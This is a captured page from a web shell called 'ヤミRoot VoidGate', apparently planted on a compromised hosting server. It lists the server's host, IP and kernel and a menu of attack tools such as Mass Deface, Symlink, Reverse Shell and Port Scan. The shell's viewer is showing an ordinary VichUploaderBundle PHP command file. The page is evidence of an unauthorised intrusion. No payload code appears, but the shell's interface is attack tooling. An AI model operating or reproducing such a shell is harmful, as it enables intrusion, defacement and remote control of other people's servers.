ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
vich
/
uploader-bundle
/
src
/
Command
/
Viewing: MappingDebugCommand.php
<?php namespace Vich\UploaderBundle\Command; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Vich\UploaderBundle\Exception\MappingNotFoundException; /** * @final */ class MappingDebugCommand extends Command { /** @var array */ private $mappings; public function __construct(array $mappings) { parent::__construct(); $this->mappings = $mappings; } protected function configure(): void { $this ->setName('vich:mapping:debug') ->setDescription('Debug a mapping.') ->addArgument('mapping', InputArgument::REQUIRED, 'The mapping to debug.') ; } protected function execute(InputInterface $input, OutputInterface $output): int { $mapping = $input->getArgument('mapping'); if (!isset($this->mappings[$mapping])) { throw new MappingNotFoundException(\sprintf('Mapping "%s" does not exist.', $mapping)); } $output->writeln(\sprintf('Debug information for mapping <info>%s</info>', $mapping)); foreach ($this->mappings[$mapping] as $key => $value) { $output->writeln(\sprintf('<comment>%s</comment>: %s', $key, \var_export($value, true))); } return 0; } public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { if ($input->mustSuggestArgumentValuesFor('mapping')) { $suggestions->suggestValues(\array_keys($this->mappings)); } } }
Coded With 💗 by
0x6ick